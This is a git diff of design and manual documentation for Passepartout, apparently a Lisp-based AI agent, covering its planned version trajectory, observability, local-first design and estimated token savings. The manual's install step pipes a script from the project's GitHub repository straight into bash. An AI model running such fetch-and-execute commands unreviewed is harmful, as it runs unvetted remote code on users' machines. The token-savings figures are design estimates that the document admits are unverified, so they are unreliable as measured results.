||||
:ID: design-trajectory
|
||||
:END:
|
||||
|
||||
The system is not static. Passepartout is defined not just by its current state but by its trajectory - how its cognitive architecture evolves over versions, with each phase reducing probabilistic surface area while increasing deterministic control.
|
||||
|
||||
**v0.1.0: The Probabilistic Foundation**
|
||||
|
||||
The agent begins by relying heavily on the neural engine. The LLM translates messy human intent into structured queries, generates code, proposes solutions. The Bouncer is present but thin - it blocks obviously dangerous actions, verifies path confinement, enforces basic invariants. Most reasoning is probabilistic because the symbolic infrastructure does not yet exist to do otherwise.
|
||||
|
||||
At this stage, Passepartout is similar to other LLM-based agents. The key difference is the gate is already there - the architecture assumes the LLM will hallucinate and structures safety accordingly.
|
||||
|
||||
**v0.2.0 through v0.5.0: The Bouncer Learns**
|
||||
|
||||
Each version expands the deterministic layer. The Bouncer writes rules from approved exceptions. Shadow mode runs trial executions. Tool permission tiers mature from simple allow/deny to nuanced context-aware policies. The agent becomes less likely to attempt dangerous actions not because it is smarter but because the guard has more complete information.
|
||||
|
||||
This is the bootstrapping phase. The system learns by watching itself and its user. Every blocked action becomes a rule. Every approved exception becomes a pattern. The symbolic layer grows at the probabilistic layer's expense.
|
||||
|
||||
**v0.6.0 through v0.7.0: The Architecture Crystallizes**
|
||||
|
||||
Skills become more deterministic. The agent learns to write its own skills - first drafts generated by the LLM, but verified and refined by the symbolic engine. Self-editing improves. The REPL becomes a first-class cognitive substrate - code is not just written but verified, iterated, tested before committing.
|
||||
|
||||
The balance shifts. The neural engine still translates and generates, but the symbolic engine checks, constrains, and corrects. The system is becoming what Gemini called "the strict guard" - a mathematically rigorous layer intercepting probabilistic output.
|
||||
|
||||
**v1.0.0: SOTA Parity - The Probabilistic Ceiling**
|
||||
|
||||
Achieving feature parity with commercial agents requires the full v0.x series complete. At this point, Passepartout is a reliable autonomous agent - it can handle multi-step engineering tasks, maintain context across sessions, recover from errors, pass benchmarks. It is safer than alternatives because the Bouncer is mature and the memory architecture is sound.
|
||||
|
||||
But it is still fundamentally probabilistic at its core. The symbolic engine verifies and constrains, but the generative engine is still the primary reasoning source.
|
||||
|
||||
**v2.0.0: The Agent Becomes the Interface**
|
||||
|
||||
This version is not about the symbolic engine - it is about tools. The agent stops running inside Emacs and starts replacing it. Lish (Lisp shell) emerges: a shell that speaks plists, not POSIX. Org-mode buffers become the file system. Org-babel becomes the REPL. The agent is no longer a passenger in Emacs - it is the operating system.
|
||||
|
||||
The key insight is that the agent's interface and the agent's brain become the same thing. In earlier versions, there is a clear separation: the agent produces output, the TUI displays it. In v2.0.0, the distinction blurs. The agent's thoughts are displayed in Org buffers that are also the interface that the agent manipulates.
|
||||
|
||||
This is the Emacs cannibalization phase. Not hostile replacement but evolution - Emacs was always a Lisp machine, and v2.0.0 completes the metamorphosis.
|
||||
|
||||
**v3.0.0: The Symbolic Breakthrough**
|
||||
|
||||
This is the architectural leap. The system transitions from "probabilistic engine with symbolic verification" to "symbolic engine with probabilistic input and output."
|
||||
|
||||
The 10-80-10 architecture becomes fully realized: ten percent neural for input translation, eighty percent symbolic for reasoning against a knowledge graph, ten percent neural for output formatting. The symbolic engine maintains facts, relationships, rules, and formal proofs. When the neural engine generates something, the symbolic engine verifies it - not by checking against a blocklist, but by running the proposal through a Prolog/Datalog reasoner that understands the domain constraints.
|
||||
|
||||
The deterministic planner takes the wheel. The LLM is no longer consulted for planning decisions - it translates human language to structured queries and structured results back to human language. The planning itself is pure Lisp: task graphs generated by a symbolic reasoner that has access to the full knowledge graph.
|
||||
|
||||
Self-correcting gates replace the learned Bouncer rules. The system learns not just from approved exceptions but from the full history of outcomes - did the plan succeed? Where did it fail? The symbolic engine updates its own rules based on the results.
|
||||
|
||||
The implications are significant. Hallucination becomes structurally impossible because the symbolic engine will not accept a fact that contradicts its knowledge graph. Safety becomes provable because the formal verification layer can prove properties about the system's behavior. Self-improvement becomes stable because the agent modifies skills that are then verified before execution.
|
||||
|
||||
**v4.0.0 and Beyond: Hardware as the Final Constraint**
|
||||
|
||||
The Lisp machine becomes physical. RISC-V with tagged architecture, hardware-enforced type checking, FPGA prototype for the symbolic core. The agent runs not in emulation but on silicon purpose-built for the architecture.
|
||||
|
||||
This is the long horizon. The symbolic engine runs on logic ASICs optimized for symbolic computation. The neural engine runs on GPU or purpose-built matrix math hardware. Lisp orchestrates both, enforcing at the hardware level what it enforced at the software level in earlier versions.
|
||||
|
||||
**The Trajectory as Design Principle**
|
||||
|
||||
Understanding Passepartout as a function in time is not nostalgia. It is architectural guidance. Every decision in v0.x should be made with awareness of where the system is going. Code written today becomes the substrate for v3.0. Skills designed today become the vocabulary the symbolic engine speaks tomorrow.
|
||||
|
||||
The probabilistic beginning is not a weakness to overcome. It is the bootstrap. The system learns the domain through probabilistic inference, and that learned knowledge becomes the seed for the symbolic engine. By the time the symbolic engine takes over, it has a rich knowledge graph to reason about, grown from thousands of probabilistic interactions.
|
||||
|
||||
This is how you build a reasoning machine: start with a learner, make it learn to verify, let verification become the core, remove the learner once it has learned enough.
|
||||
|
||||
* The REPL as Cognitive Substrate
|
||||
** The REPL as Cognitive Substrate
|
||||
:PROPERTIES:
|
||||
:ID: design-repl-cognition
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
A REPL - Read, Eval, Print, Loop - is an interactive programming environment that reads an expression, evaluates it, prints the result, and loops back to read the next expression. It is the opposite of batch processing: where batch compiles and runs a program in one shot, a REPL works one expression at a time, with each evaluation building on all previous ones. The programmer defines a function, calls it, inspects the result, modifies it, and calls it again. The state accumulates. The session is the program.
|
||||
@@ -263,9 +185,48 @@ Third, the REPL is a shared substrate. When the agent evaluates code, that code
|
||||
|
||||
This is why the REPL becomes more important as the system matures. In early versions, it is a development tool. In v0.6.0 and beyond, it becomes a cognitive tool: the agent explores hypotheses by evaluating them, verifies the output of sub-agents by inspecting live state, and tests modifications before committing them to the knowledge graph.
|
||||
|
||||
* The Evaluation Harness
|
||||
** Observability and the Thought Trace
|
||||
:PROPERTIES:
|
||||
:ID: design-observability
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral - it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
|
||||
|
||||
The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
|
||||
|
||||
This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in a text editor and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
|
||||
|
||||
The trace becomes the foundation for the Dispatcher's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened - it reads what happened from the trace it wrote.
|
||||
|
||||
Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
|
||||
|
||||
** Literate Programming as Discipline
|
||||
:PROPERTIES:
|
||||
:ID: design-literate-programming
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The decision to use Org-mode as the source of truth for code, not just documentation, is not a ceremonial preference. It is a constraint mechanism that enforces better engineering habits at the cost of convenience.
|
||||
|
||||
The traditional development workflow is: write code, write comments, commit. The literate programming workflow is: write prose, write code, commit the Org. The order matters. The prose must come first not because of style guidelines but because the act of explaining what a function does before writing it forces clarity of thought that editing code directly does not.
|
||||
|
||||
When you must write a paragraph describing what a function does before you write the function, you discover the cases you have not considered. You find the edge conditions that are ambiguous. You realize that the function's name does not match its behavior, or that its behavior does not match your intent. The friction is not a bug - it is the mechanism by which thinking is enforced.
|
||||
|
||||
The one-function-per-block rule enforces granularity. A function that cannot be explained in a paragraph is a function that is doing too much. The block boundary is not aesthetic - it is architectural. It prevents the drift toward monolithic functions that accumulate responsibilities over time and become untestable, unmaintainable, and incomprehensible.
|
||||
|
||||
The tangle step enforces source-of-truth discipline. The .lisp file is generated from the Org file. This means the Org file cannot drift from the implementation. If the implementation changes, the Org must be updated to match. If the Org describes behavior that the implementation does not perform, the tangle produces code that does not match the Org description. Either way, inconsistency is visible and recoverable.
|
||||
|
||||
The evaluation gate enforces correctness. Every block can be evaluated independently in a running Lisp image. This means syntax errors are caught at authorship time, not at integration time. The function that compiles in isolation but fails in context is the function whose context dependencies were never made explicit. The evaluation gate forces those dependencies to surface.
|
||||
|
||||
Together, these constraints create a development experience that is slower in the small and faster in the large. Writing a new function takes longer because you must explain it. But debugging, maintaining, and extending the codebase is faster because every function has a human-readable explanation of its intent, every function is testable in isolation, and every function's source is always synchronized with its documentation.
|
||||
|
||||
The literate programming discipline is not about producing documentation. It is about producing code whose correctness has been verified by the act of explaining it.
|
||||
|
||||
** The Evaluation Harness
|
||||
:PROPERTIES:
|
||||
:ID: design-evaluation-harness
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
SOTA parity is meaningless without measurement. A system that claims to match commercial agents must demonstrate it through reproducible benchmarks, not through feature checklists. The evaluation harness is the apparatus by which Passepartout proves its capabilities.
|
||||
@@ -278,24 +239,10 @@ Beyond SWE-bench, the harness includes chaos testing. The system is subjected to
|
||||
|
||||
The harness also supports regression testing on the skill set. Every skill is tested against a suite of known inputs and expected outputs. When a modification is proposed to any skill - whether through manual editing or the agent's own self-modification - the test suite runs first. A skill that fails its tests is rejected before it can propagate to the running image. This is not a convenience - it is the mechanism by which self-modification remains safe. The agent can propose changes, but the harness verifies them before the changes take effect.
|
||||
|
||||
* Observability and the Thought Trace
|
||||
:PROPERTIES:
|
||||
:ID: design-observability
|
||||
:END:
|
||||
|
||||
When a human asks why the system made a decision, the answer must be findable. In most AI systems, the reasoning is ephemeral - it exists in the model's activations and disappears when the session ends. In Passepartout, every significant cognitive event is written to an Org buffer as it happens.
|
||||
|
||||
The thought trace is the agent's journal, written in parallel with its reasoning. When the probabilistic engine generates a proposal, the trace records the input, the prompt, and the raw output. When the deterministic engine evaluates it, the trace records which rules were checked, which passed, which failed, and why. When an action is executed, the trace records the timestamp, the user who approved it (if human-in-the-loop), and the outcome.
|
||||
|
||||
This is not logging in the traditional sense. Logs are forensically useful but are written in a machine format optimized for storage, not for human reading. The thought trace is written in Org-mode: headlines for major events, property drawers for structured data, tags for categorization. The human can open the trace in Emacs and navigate it like any other Org file. They can search for a specific decision, filter by time range, find all actions blocked by a specific rule, or see the complete trajectory of a multi-step task.
|
||||
|
||||
The trace becomes the foundation for the Bouncer's learning. Every blocked action is in the trace. Every approved exception is in the trace. The human-in-the-loop decisions are in the trace. The system does not need to reconstruct what happened - it reads what happened from the trace it wrote.
|
||||
|
||||
Without observability, the system is a black box that happens to produce correct outputs sometimes. With observability, the system is auditable. The human can see why a decision was made, identify where the reasoning failed, and course-correct the system or its own behavior accordingly.
|
||||
|
||||
* The MCP Strategy
|
||||
** The MCP Strategy
|
||||
:PROPERTIES:
|
||||
:ID: design-mcp-strategy
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
The Model Context Protocol (MCP) is a standard for connecting AI systems to external tools and data sources. It defines how a client requests tools from a server, how the server exposes its capabilities, and how the client invokes them. The ecosystem is growing: MCP servers exist for GitHub, Slack, Postgres, filesystem access, and much more.
|
||||
@@ -308,9 +255,10 @@ The alternative is to build MCP wrappers in Python or TypeScript and bridge to L
|
||||
|
||||
Passepartout's native client is smaller, faster, and more maintainable. The MCP client is a skill, not a core component. It can be reloaded, replaced, or removed without restarting the agent. The agent can add new MCP tool integrations by loading new skills, not by deploying new infrastructure.
|
||||
|
||||
* Local-First Architecture
|
||||
** Local-First Architecture
|
||||
:PROPERTIES:
|
||||
:ID: design-local-first
|
||||
:CREATED: [2026-05-07 Wed]
|
||||
:END:
|
||||
|
||||
Passepartout is designed to run on the user's machine, on their hardware, with their data, without requiring an internet connection. This is not a deployment option - it is an architectural commitment. The system must be able to reason, plan, and act using only the resources available locally.
|
||||
@@ -319,24 +267,11 @@ The motivation is not merely philosophical. Cloud-based AI agents are economical
|
||||
|
||||
Technically, local-first means several things. The LLM must be able to run on local hardware. Passepartout supports Ollama as a provider, which runs quantized models on CPU and GPU without requiring an external API. The vector database must be local. Passepartout uses its own org-object store, which is a folder of Org files that the agent already owns. There is no ChromaDB or Qdrant to install, no cloud vector service to authenticate with.
|
||||
|
||||
The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that in v3.0.0 verifies neural proposals runs entirely in the Lisp image. The Bouncer's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
|
||||
The symbolic engine does not require a network connection. The Prolog/Datalog reasoner that in v3.0.0 verifies neural proposals runs entirely in the Lisp image. The Dispatcher's rule synthesis does not call an external service. The agent can operate in a disconnected environment indefinitely, resuming full capability when connectivity is restored.
|
||||
|
||||
This does not mean Passepartout refuses to use cloud services when available and appropriate. It means cloud services are optional enhancements, not architectural requirements. The core is local. The user can choose to add cloud LLM providers for more capable inference, but the system functions without them.
|
||||
|
||||
* Zero-Dependency Deployment
|
||||
:PROPERTIES:
|
||||
:ID: design-zero-dependency
|
||||
:END:
|
||||
|
||||
The simplest deployment is one that requires no installation steps. The user downloads one file, runs it, and the system works. Passepartout approximates this through SBCL's ability to produce standalone executables via save-lisp-and-die. The executable contains the Lisp runtime, the compiled system, and Quicklisp libraries - everything bundled into one binary.
|
||||
|
||||
The practical reality is more nuanced. Building a truly standalone executable requires resolving all library dependencies at build time and embedding them in the binary. SBCL supports this, but the resulting binary is large (tens of megabytes), and updating any component requires a full rebuild. The current deployment model uses a Docker container that maps the user's memex directory as a volume. The container starts, loads the system, and is ready. No compilation on the user's machine, no dependency installation, no platform-specific quirks.
|
||||
|
||||
The long-term goal is a single =passepartout= binary that the user runs. It starts a local web server on a Unix domain socket. The TUI connects through the socket. The user's Org files are in =~/memex/=. The binary is the only thing that needs to be installed.
|
||||
|
||||
This stands in stark contrast to most AI agent systems, which require managing Python environments, npm packages, API keys, environment variables, and configuration files. OpenAI's agents SDK requires pip install, a Python environment, and external API access. OpenClaw requires Node.js, npm, and a plugin ecosystem that must be individually installed. LangChain requires a Python environment with dozens of dependencies that must be kept compatible.
|
||||
|
||||
Passepartout's dependency model is SBCL plus Quicklisp. Quicklisp loads libraries on demand from the internet, but caches them locally. A system with internet access can fetch any library it needs. A system without internet access uses only the libraries it has already loaded - and those are preserved in the cache. The agent does not require internet access to function after initial setup.
|
||||
*On live images and binaries.* Passepartout's primary delivery path is source code running in a live SBCL process. The REPL is available. Skills hot-reload. The cognitive loop runs in an image that is mutable, inspectable, and homeiconic — the user can connect with SLIME, trace functions, inspect memory objects, and modify the system while it runs. A ~save-lisp-and-die~ binary is provided as a convenience for platforms where SBCL cannot be installed (corporate laptops, shared hosts). The binary is the same image saved to disk with Swank pre-loaded — it is not a sealed container. The REPL works. Skills hot-reload. The binary is a packaging format, not an architectural decision. The system is constitutionally open in both delivery paths.
|
||||
|
||||
* Token Economics and Performance Advantage
|
||||
:PROPERTIES:
|
||||
@@ -351,24 +286,24 @@ Passepartout treats the LLM as a resource to be minimized. Every operation is de
|
||||
|
||||
The three structural multipliers are:
|
||||
|
||||
1. *Sparse tree retrieval* — loading relevant subtrees (200-800 tokens per file) rather than full files (1,500-5,000 tokens) = ~5-10x reduction per file access
|
||||
*Sparse tree retrieval* — loading relevant subtrees (200-800 tokens per file) rather than full files (1,500-5,000 tokens) = ~5-10x reduction per file access
|
||||
2. *Deterministic safety* — 9-vector dispatcher gate runs in pure Lisp (0 LLM tokens per verification) versus prompt-based guardrails (200-500 tokens per action) = infinite multiplier
|
||||
3. *REPL verification* — catches errors in-image (milliseconds, 0 LLM tokens) versus LLM correction round-trips (500-2,000 tokens per retry)
|
||||
|
||||
These compound. A coding session touching 20 files, performing 10 actions, and triggering 3 errors saves ~50,000-100,000 tokens compared to the same session with Claude Code.
|
||||
|
||||
** Per-Task Type Analysis
|
||||
** Per-Task Type Guesstimate
|
||||
|
||||
*** Coding (debugging, refactoring, PR review)
|
||||
|
||||
| Operation | Passepartout | Claude Code | Hermes (3-agent) | Savings vs Claude |
|
||||
|-----------|-------------|-------------|-------------------|--------------------|
|
||||
| File access (30 files) | 30 × 400 tok = 12,000 | 30 × 3,000 tok = 90,000 | 30 × 3,000 tok × 3 = 270,000 | 78,000 tok |
|
||||
| Reasoning rounds (20) | 20 × 3,000 tok = 60,000 | 20 × 4,000 tok = 80,000 | 20 × 3,000 tok × 3 = 180,000 | 20,000 tok |
|
||||
| Error correction (5 caught by REPL) | 0 (REPL) | 5 × 1,000 tok = 5,000 | 5 × 1,000 tok × 3 = 15,000 | 5,000 tok |
|
||||
| Safety verification | 0 (deterministic) | 500 tok/round × 20 = 10,000 | 200 tok/round × agents | 10,000 tok |
|
||||
| Agent coordination | 0 | 0 | 3,000-5,000 tok/task | 0 |
|
||||
| *Total* | *~72,000 tok* | *~185,000 tok* | *~475,000 tok* | *~113,000 tok (2.6x)* |
|
||||
| Operation | Passepartout | Claude Code | Hermes (3-agent) | Savings vs Claude |
|
||||
|-------------------------------------+-------------------------+-----------------------------+------------------------------+-----------------------|
|
||||
| File access (30 files) | 30 × 400 tok = 12,000 | 30 × 3,000 tok = 90,000 | 30 × 3,000 tok × 3 = 270,000 | 78,000 tok |
|
||||
| Reasoning rounds (20) | 20 × 3,000 tok = 60,000 | 20 × 4,000 tok = 80,000 | 20 × 3,000 tok × 3 = 180,000 | 20,000 tok |
|
||||
| Error correction (5 caught by REPL) | 0 (REPL) | 5 × 1,000 tok = 5,000 | 5 × 1,000 tok × 3 = 15,000 | 5,000 tok |
|
||||
| Safety verification | 0 (deterministic) | 500 tok/round × 20 = 10,000 | 200 tok/round × agents | 10,000 tok |
|
||||
| Agent coordination | 0 | 0 | 3,000-5,000 tok/task | 0 |
|
||||
| *Total* | *~72,000 tok* | *~185,000 tok* | *~475,000 tok* | *~113,000 tok (2.6x)* |
|
||||
|
||||
Over a month of daily coding (20 sessions): ~2.3 million tokens saved. At typical API pricing ($2-15/M tokens), this saves $5-35/month.
|
||||
|
||||
@@ -376,21 +311,21 @@ Over a month of daily coding (20 sessions): ~2.3 million tokens saved. At typica
|
||||
|
||||
Passepartout's strongest domain. The Org-mode native format and sparse tree retrieval create a 10-40x advantage because knowledge bases are the worst case for "load everything" architectures.
|
||||
|
||||
| Operation | Passepartout | Competitor | Savings |
|
||||
|-----------|-------------|------------|---------|
|
||||
| Context assembly (500-node KB) | Peripheral outline + ~5 foveal nodes = 2,000-4,000 tok | Full serialization = 80,000-150,000 tok | 40-75x |
|
||||
| Semantic search (10 queries) | Vector lookup in-image = 0 LLM tok | LLM-assisted search = 5,000 tok | 5,000 tok |
|
||||
| Note creation (10 notes) | Deterministic Org writes = 0 LLM tok | 10 × 800 tok = 8,000 | 8,000 tok |
|
||||
| *Total per session* | *~7,000 tok* | *~95,000-165,000 tok* | *~13-24x* |
|
||||
| Operation | Passepartout | Competitor | Savings |
|
||||
|--------------------------------+--------------------------------------------------------+-----------------------------------------+-----------|
|
||||
| Context assembly (500-node KB) | Peripheral outline + ~5 foveal nodes = 2,000-4,000 tok | Full serialization = 80,000-150,000 tok | 40-75x |
|
||||
| Semantic search (10 queries) | Vector lookup in-image = 0 LLM tok | LLM-assisted search = 5,000 tok | 5,000 tok |
|
||||
| Note creation (10 notes) | Deterministic Org writes = 0 LLM tok | 10 × 800 tok = 8,000 | 8,000 tok |
|
||||
| *Total per session* | *~7,000 tok* | *~95,000-165,000 tok* | *~13-24x* |
|
||||
|
||||
*** Day-to-Day Life Management (calendar, tasks, reminders)
|
||||
|
||||
| Operation | Passepartout | Competitor | Savings |
|
||||
|-----------|-------------|------------|---------|
|
||||
| Background maintenance | Deterministic heartbeat-driven = 0 LLM tok | Scheduled LLM calls or skipped | Variable |
|
||||
| User interactions (30/day) | 30 × 2,000 tok = 60,000 | 30 × 4,000 tok = 120,000 | 60,000 tok |
|
||||
| Context queries by TODO/tag | Hash table scan = 0 LLM tok | LLM-based search = 2,500 tok | 2,500 tok |
|
||||
| *Total per day* | *~60,000 tok* | *~122,500 tok* | *~2x* |
|
||||
| Operation | Passepartout | Competitor | Savings |
|
||||
|-----------------------------+--------------------------------------------+--------------------------------+------------|
|
||||
| Background maintenance | Deterministic heartbeat-driven = 0 LLM tok | Scheduled LLM calls or skipped | Variable |
|
||||
| User interactions (30/day) | 30 × 2,000 tok = 60,000 | 30 × 4,000 tok = 120,000 | 60,000 tok |
|
||||
| Context queries by TODO/tag | Hash table scan = 0 LLM tok | LLM-based search = 2,500 tok | 2,500 tok |
|
||||
| *Total per day* | *~60,000 tok* | *~122,500 tok* | *~2x* |
|
||||
|
||||
The defining advantage: background maintenance (compaction, archiving, link repair) costs zero LLM tokens. Competing systems either skip this or pay LLM costs for it.
|
||||
|
||||
@@ -414,25 +349,43 @@ The crossover point where Passepartout becomes structurally cheaper is estimated
|
||||
|
||||
Reduced context requirements change which model sizes deliver acceptable performance:
|
||||
|
||||
| Model | Passepartout Viability | Competitor Viability |
|
||||
|-------|----------------------|---------------------|
|
||||
| Phi-3-mini 3.8B (4K ctx) | Viable for structured tasks | Context starvation |
|
||||
| Llama 3.1 8B (8K ctx) | Comfortable daily driver | Marginal |
|
||||
| Qwen 2.5 7B (4K ctx) | Viable for most tasks | Not viable |
|
||||
| Mistral 7B (8K ctx) | Comfortable | Marginal |
|
||||
| Llama 3.1 70B (128K ctx) | Overkill (but works) | Comfortable |
|
||||
| Model | Passepartout Viability | Competitor Viability |
|
||||
|--------------------------+-----------------------------+----------------------|
|
||||
| Phi-3-mini 3.8B (4K ctx) | Viable for structured tasks | Context starvation |
|
||||
| Llama 3.1 8B (8K ctx) | Comfortable daily driver | Marginal |
|
||||
| Qwen 2.5 7B (4K ctx) | Viable for most tasks | Not viable |
|
||||
| Mistral 7B (8K ctx) | Comfortable | Marginal |
|
||||
| Llama 3.1 70B (128K ctx) | Overkill (but works) | Comfortable |
|
||||
|
||||
KV cache memory scales with context length:
|
||||
|
||||
| Context Window | KV Cache (Llama 3.1 8B, FP16) |
|
||||
|---------------|-------------------------------|
|
||||
| 4K tokens | ~67 MB |
|
||||
| 32K tokens | ~540 MB |
|
||||
| 128K tokens | ~2.1 GB |
|
||||
|----------------+-------------------------------|
|
||||
| 4K tokens | ~67 MB |
|
||||
| 32K tokens | ~540 MB |
|
||||
| 128K tokens | ~2.1 GB |
|
||||
|
||||
Passepartout at 4K effective context: ~67 MB KV cache. Competitor at 128K: ~2.1 GB. A 7-8B model on an RTX 3060 Ti (8 GB VRAM) or MacBook (16 GB unified memory) is a practical daily driver with Passepartout. Competitors at full context require 16-32 GB VRAM or cloud APIs.
|
||||
|
||||
** Open Questions and Risks
|
||||
** Comparison Summary
|
||||
|
||||
| Metric | Passepartout | Claude Code | Hermes | OpenClaw |
|
||||
|-----------------------------+---------------------+-------------------------+------------------------------+-----------------------|
|
||||
| Active context (tokens) | 2,000-4,000 | 10,000-50,000+ | 5,000-15,000/agent | 10,000-40,000 |
|
||||
| File access cost (per file) | 200-800 tok | 1,500-5,000 tok | 1,500-5,000 tok × agents | 1,500-5,000 tok |
|
||||
| Safety verification cost | 0 (deterministic) | 200-500 tok/action | 200-500 tok/action × agents | 100-300 tok/action |
|
||||
| Agent coordination cost | 0 | 0 | 1,000-3,000 tok/task | 500-2,000 tok/task |
|
||||
| Error recovery cost | 0 (REPL) | 500-2,000 tok/retry | 500-2,000 tok/retry × agents | 500-2,000 tok/retry |
|
||||
| Long-term cost trend | Decreasing | Increasing | Increasing | Flat/Increasing |
|
||||
| Min viable local model | 3-4B params, 4K ctx | 30-70B params, 32K+ ctx | 30-70B params, 32K+ ctx | 7-13B params, 8K+ ctx |
|
||||
| Min VRAM for local | 4-6 GB | 16-32 GB | 24-48 GB | 8-16 GB |
|
||||
|
||||
*Note:* Observations about OpenClaw and Hermes Agent are based on their public documentation and repositories as of 2026-05. OpenClaw (github.com/openclaw/openclaw) is a TypeScript personal AI assistant by @steipete with a Node.js gateway, 25+ messaging channels, and Canvas/voice companion apps. Hermes Agent (github.com/NousResearch/hermes-agent) is a Python fork by Nous Research with a built-in learning loop, full TUI, and sub-agent delegation. Both use prompt-based safety guardrails rather than deterministic gates. Architectural claims should be re-verified as these projects evolve.
|
||||
|
||||
*Conclusion:* Passepartout's architecture is designed to produce 2-3x token savings for coding, 13-24x for knowledge management, and 2x for life management at v1.0.0 maturity. The three structural advantages — sparse trees, deterministic safety, and REPL verification — compound. The critical risk is implementation gap: achieving the retrieval precision, dispatcher learning, and REPL integration depth required to realize the design.
|
||||
|
||||
*Note:* The token savings projections in this section (2–3x for coding, 13–24x for knowledge management) are architectural estimates based on the sparse-tree retrieval and deterministic safety mechanisms. They have not yet been empirically verified. A token audit harness will produce measured comparisons at v0.5.0 (Token Economics & Prompt Efficiency). Until then, the README cites the mechanisms (sparse-tree rendering, deterministic gates) rather than specific magnitudes.
|
||||
* Open Questions and Risks
|
||||
|
||||
1. *Retrieval accuracy is the bottleneck.* If sparse tree retrieval loads the wrong subtree (low-similarity but causally relevant), the LLM makes unfixable errors. The architecture assumes embedding quality is "good enough" — this is untested at scale.
|
||||
|
||||
@@ -444,17 +397,4 @@ Passepartout at 4K effective context: ~67 MB KV cache. Competitor at 128K: ~2.1
|
||||
|
||||
5. *Competitor evolution.* Sparse retrieval is not patentable. Claude Code, Copilot, and others will implement similar mechanisms. The architectural advantage is real but finite in duration. The deterministic safety gate is the harder-to-replicate differentiator.
|
||||
|
||||
** Comparison Summary
|
||||
|
||||
| Metric | Passepartout | Claude Code | Hermes | OpenClaw |
|
||||
|--------|-------------|-------------|--------|----------|
|
||||
| Active context (tokens) | 2,000-4,000 | 10,000-50,000+ | 5,000-15,000/agent | 10,000-40,000 |
|
||||
| File access cost (per file) | 200-800 tok | 1,500-5,000 tok | 1,500-5,000 tok × agents | 1,500-5,000 tok |
|
||||
| Safety verification cost | 0 (deterministic) | 200-500 tok/action | 200-500 tok/action × agents | 100-300 tok/action |
|
||||
| Agent coordination cost | 0 | 0 | 1,000-3,000 tok/task | 500-2,000 tok/task |
|
||||
| Error recovery cost | 0 (REPL) | 500-2,000 tok/retry | 500-2,000 tok/retry × agents | 500-2,000 tok/retry |
|
||||
| Long-term cost trend | Decreasing | Increasing | Increasing | Flat/Increasing |
|
||||
| Min viable local model | 3-4B params, 4K ctx | 30-70B params, 32K+ ctx | 30-70B params, 32K+ ctx | 7-13B params, 8K+ ctx |
|
||||
| Min VRAM for local | 4-6 GB | 16-32 GB | 24-48 GB | 8-16 GB |
|
||||
|
||||
*Conclusion:* Passepartout's architecture is designed to produce 2-3x token savings for coding, 13-24x for knowledge management, and 2x for life management at v1.0.0 maturity. The three structural advantages — sparse trees, deterministic safety, and REPL verification — compound. The critical risk is implementation gap: achieving the retrieval precision, dispatcher learning, and REPL integration depth required to realize the design.
|
||||
933
docs/ROADMAP.org
933
docs/ROADMAP.org
File diff suppressed because it is too large
Load Diff
@@ -4,7 +4,7 @@
|
||||
#+FILETAGS: :docs:manual:
|
||||
|
||||
* Introduction
|
||||
Welcome to Passepartout v0.1.0 (The Autonomous Foundation). Passepartout is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
|
||||
Welcome to Passepartout. Passepartout is a neurosymbolic AI agent and a Lisp Machine operating system designed to autonomously maintain your Memex (knowledge base) and interact with you via multiple, equal-citizen interfaces.
|
||||
|
||||
* Installation
|
||||
Passepartout is bootstrapped via a single shell script.
|
||||
@@ -12,17 +12,10 @@ Passepartout is bootstrapped via a single shell script.
|
||||
** Quick start (curl)
|
||||
|
||||
#+begin_src bash
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout.sh | bash -s configure
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
|
||||
#+end_src
|
||||
|
||||
** From a clone
|
||||
|
||||
#+begin_src bash
|
||||
git clone https://github.com/amrgharbeia/passepartout.git ~/projects/passepartout
|
||||
~/projects/passepartout/passepartout.sh configure
|
||||
#+end_src
|
||||
|
||||
Both methods will:
|
||||
This will:
|
||||
1. Install system dependencies (SBCL, Emacs, git, curl, socat — detected for Debian or Fedora)
|
||||
2. Install Quicklisp (Common Lisp package manager)
|
||||
3. Tangle literate Org sources into runnable Lisp
|
||||
@@ -41,26 +34,54 @@ The system is configured via a `.env` file in the project root. Essential variab
|
||||
Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout.sh --boot &
|
||||
./passepartout --boot &
|
||||
#+end_src
|
||||
|
||||
** Terminal User Interface (TUI)
|
||||
For a rich, split-pane terminal experience:
|
||||
#+begin_src bash
|
||||
./passepartout.sh tui
|
||||
./passepartout tui
|
||||
#+end_src
|
||||
|
||||
** Command Line Interface (CLI)
|
||||
For raw, pipe-friendly interaction:
|
||||
#+begin_src bash
|
||||
./passepartout.sh cli
|
||||
./passepartout cli
|
||||
#+end_src
|
||||
|
||||
** Emacs Integration
|
||||
Passepartout functions as your "foveal vision" inside Emacs.
|
||||
1. Ensure `org-agent.el` is loaded.
|
||||
2. Run `M-x passepartout-connect`.
|
